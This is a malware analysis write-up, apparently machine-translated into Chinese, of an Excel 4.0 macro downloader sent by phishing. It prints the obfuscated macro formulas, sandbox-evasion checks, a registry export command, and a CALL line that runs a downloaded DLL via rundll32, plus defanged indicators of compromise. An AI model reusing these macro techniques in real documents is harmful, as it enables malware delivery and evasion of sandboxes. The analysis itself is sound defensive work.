日常生活Tinkoff安全运营中心:单个Bootloader分析

哈Ha!

在我们的Tinkoff安全运营中心,我们定期分析恶意软件和攻击中使用的技术,最近我们遇到了一个有趣的文件,我们想谈一谈。

图片

用于创建该杰作的技术已经有20多年的历史了,但是即使在几十年后,它仍然具有现实意义,因为宏中某些检查的调用并不可疑,可以在合法文档中使用。这是用Excel 4.0宏编写的恶意软件下载程序。

工具类


作为分析的一部分,我们将最少使用第三方工具,并使用一组标准程序:

  • Microsoft Office套件
  • 存档器;
  • 文本编辑器;
  • 作为分析软件行为的工具,我们将使用Sysmon;
  • 作为分析环境,我们将使用带有Windows 7的VM

诺加布卡夫


我们将要分析的文档是xls格式的Excel工作簿。该恶意软件通过网络钓鱼电子邮件传递,当文档开始运行时,宏卸载注册表分支,从Microsoft网站下载有关Office更新的信息,还下载并启动恶意.dll。这些步骤之后,该书不保存更改就关闭。

与这种类型的其他加载器的主要区别在于,它不使用VBA宏。

静态分析


以下是包含恶意文档的电子邮件的示例。



在我们的虚拟机中打开附件。

您应该立即注意:图片警告该文档是“受保护的”,值得在本地打开该文档并单击“启用内容”:



安全警告提示您需要在Visual Basic编辑器中查看项目。

我们转向开发人员-宏管理(vbs),但看不到任何vbs或vba宏:



现在是时候记住什么Office文档了。

每个Microsoft Office文档都是一个存档,可以使用任何存档器解压缩该存档,以提取文档的内容:



解压缩后,我们发现文档中没有用来查看的xml文件,而是旧的文档格式-xls。

在xls扩展名中,内容不是以Office Open XML格式存储,而是以BIFF8二进制格式存储。该文档使用Excel 4.0宏,可以在文档单元格中执行宏。

值得注意的是,带有宏的工作表不是隐藏的,但是工作表中有大量的空单元格,这使分析变得困难。

有一些用于分析BIFF8文件的工具,例如BiffViewer,而用于分析内容的工具是oletools。但是,我们将尝试不使用第三方实用程序。

Excel中也有一个XML基础格式- XLSM,您可以在其中保存VBA宏代码和Excel 4.0宏表。
可用于Excel的格式的完整列表是excel格式

我们保存我们的文档,将其解压缩:



让我们看一下文件中的内容,从xl文件夹中的macrosheets目录开始,然后在宏表中找到包含所有数据的文件:



这样,我们就在宏表中的单元格中获得了所有值。宏本身被混淆,单元格仅包含数值和公式,这些公式将这些值转换并将结果写入新的单元格中。

例如,在此公式中,将数值转换为字符,并串起来并将其写入单元格FK17653。

Excel中的公式
FORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)

作为式的结果,我们得到以下线:



每个后续的宏命令由类似的公式“收集”,写入到单元,然后被执行。

为了使宏在打开文档时自动运行,必须从中启动脚本的单元格称为Auto_Open。考虑workbook.xml文件:

workbook.xml
<?xml version=«1.0» encoding=«UTF-8» standalone=«yes»?>
<workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:\Users\User\Desktop\malware\» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>

在文件内,我们找到行名=“ _ xlnm.Auto_OpenT8nee” hidden =“ 1”> Sheet2!$ IE $ 65406
这意味着运行宏的单元格IE65406被隐藏了。现在我们知道了宏的入口点。

动态分析


切勿在计算机上运行可疑文件。要研究可疑软件的行为,有必要使用专门准备的环境:各种沙箱或专门准备的隔离机器-虚拟机或熨斗。

打开文档并运行内容。命令提示符窗口闪烁,并且书关闭。
让我们看看Sysmon日志。

Sysmon有一个进程创建事件(标识1),有关Sysmon的更多信息可以在这里找到

通过日志,我们看到该宏在目录c中创建文件:\ users \ public

以下是sysmon消息,该消息显示已卸载注册表分支并将结果写入文件:

Sysmon事件事件ID 1
sysmon event id 1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:\Windows\System32\reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
CurrentDirectory: C:\Users\user\Documents\
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»

完成后,宏将删除创建的文件。

要禁止删除文件,请更改文件夹的权限,保留读写权限并禁止删除:



再次运行文档,在执行宏过程中将收到错误消息,这使我们可以对其进行调试。

这是可能的,因为在某些调用中没有异常处理。





让我们逐步运行宏;在调试过程中,我们遇到来自dll库的函数调用,例如ShellExecuteURLDownloadToFile。宏完成后,以下文件将位于共享用户文件夹中:



由于我们知道从其开始执行的单元格,因此我们可以填写宏表中的所有单元格。让我们将宏移至关闭(false)函数,在该函数中,我们将通过单击“暂停”按钮来中断执行。

环境检查单元


通过宏填充的单元格,我们遇到了几个函数get.window()和get.workspace()

  • get.window()函数返回有关当前窗口的信息:状态,窗口状态,其名称,显示选项等。
  • 使用get.workspace()函数可以找到有关文档在其中运行的环境的信息。

在链接中可以找到Excel 4.0可用的呼叫的完整列表。

在这里,我们需要更详细地介绍:我和我的同事建议,这些调用中的大多数与绕过沙箱的尝试有关:

  • get.winow(7)-检查当前窗口是否被隐藏。返回true或false。
  • get.windows(20)-如果窗口最大化,则返回true。
  • get.windows(23)-可以返回值1、2和3。



1-恢复
2-最小化
3-最大化

因此检查当前窗口是否打开:

get.workspace(31)-检查是否已调试宏步进。
get.workspace(13)-检查工作区的宽度(以像素为单位):如果小于770,则书籍将关闭



get.workspace(14)-检查工作区的高度(以像素为单位):如果小于390,则书籍将关闭



get.workspace(19)-检查鼠标的存在。
get.workspace(1)-返回文档在哪个操作系统中运行。
在错误的情况下,在每张支票中都有一个过渡到结账单元而不保存结果。

外部图书馆电话


检查环境后,我们继续进行主要功能。让我们看看如何从宏调用WinAPI函数:

1.在Sysmon日志中看到的reg.exe调用。



为了调用该实用程序,使用了shell32.dll库中的ShellExecute函数,该函数的参数分散在其他单元格中。

单元格BN16631:



单元格A46097:



在单元格GN47559中,发送了导出必需的注册表分支的命令,Get.workspace(2)返回Excel的版本。



单元格DX48821包含写入结果的路径。



进一步在宏中,检查是否存在创建的IcltdXw.reg文件及其删除。

2.调用URLDownloadToFile函数。此功能将获取请求的结果保存到文件中。
调用如下:



通过此电话,我们可以访问Microsoft网站,以及有关Office更新信息的页面。

功能参数:

Cell BR6547



Cell IN49847



执行指令后,将检查是否已创建文件,并通过文件中的偏移量读取字符:



很可能,这些操作旨在检查文档运行所在的环境是否可以访问Internet。

在公式中,FILES函数传递给iserror,参数是应将URLDownloadToFile函数的结果写入其中的文件的名称:



单元FM27223将控制书关闭功能:



成功从Microsoft接收文件后,单元将被填充以准备第二次调用urlmon dll。

有效负载加载


这是第二个调用,但是是dehabadi [。] Ir域,应该从中加载恶意负载:



结果被写入具有html扩展名的同一文件夹中的文件:



接下来,如果是第一次尝试下载有效负载,则我们遇到了宏代码中的一个分支,失败,将尝试第二次尝试,但是尝试使用其他地址。

如果下载成功,将弹出警告弹出窗口,并调用已加载的库。



完整呼叫如下:

=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5) 

在完整调用中,从Shell32库中调用ShellExecuteA函数,并带有用于启动rundll32的参数,并通过该参数调用下载的恶意库的导出函数。

这样就完成了宏功能,有效负载已启动并正在运行。

结论


如前所述,该技术已经相当古老(适用于Windows 3.0和3.1的Excel 4.0),但是它完全提供了恶意软件实现其目标所需的功能。该文件的目的是悄悄地在系统中放置可能造成严重破坏的危险软件,从个人数据被盗,系统的授权数据开始,到计算机上的数据损坏/加密以及远程执行代码的能力开始。

对于此类文档的分析,根本不需要使用任何特殊的实用程序和软件,但是,值得一提的是一组oletools脚本-可以在此处找到更多详细信息。我们将在这里结束,下面是分析结果确定的危害指标。

收到的国际奥委会:

evans [。] williamdmon [@] wp [。] pl
eleventalents [。] com
dehabadi [。] ir
hxxps://eleventalents.com/wp-keys.php
hxxps://dehabadi.ir/wp-keys.php
de88d3774ae006d96121d9b45efbf1ee
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419

危害指标的完整列表。

参考文献:


从事分析工作:

Frolov Ilya
Kolenchuk Alexey

All Articles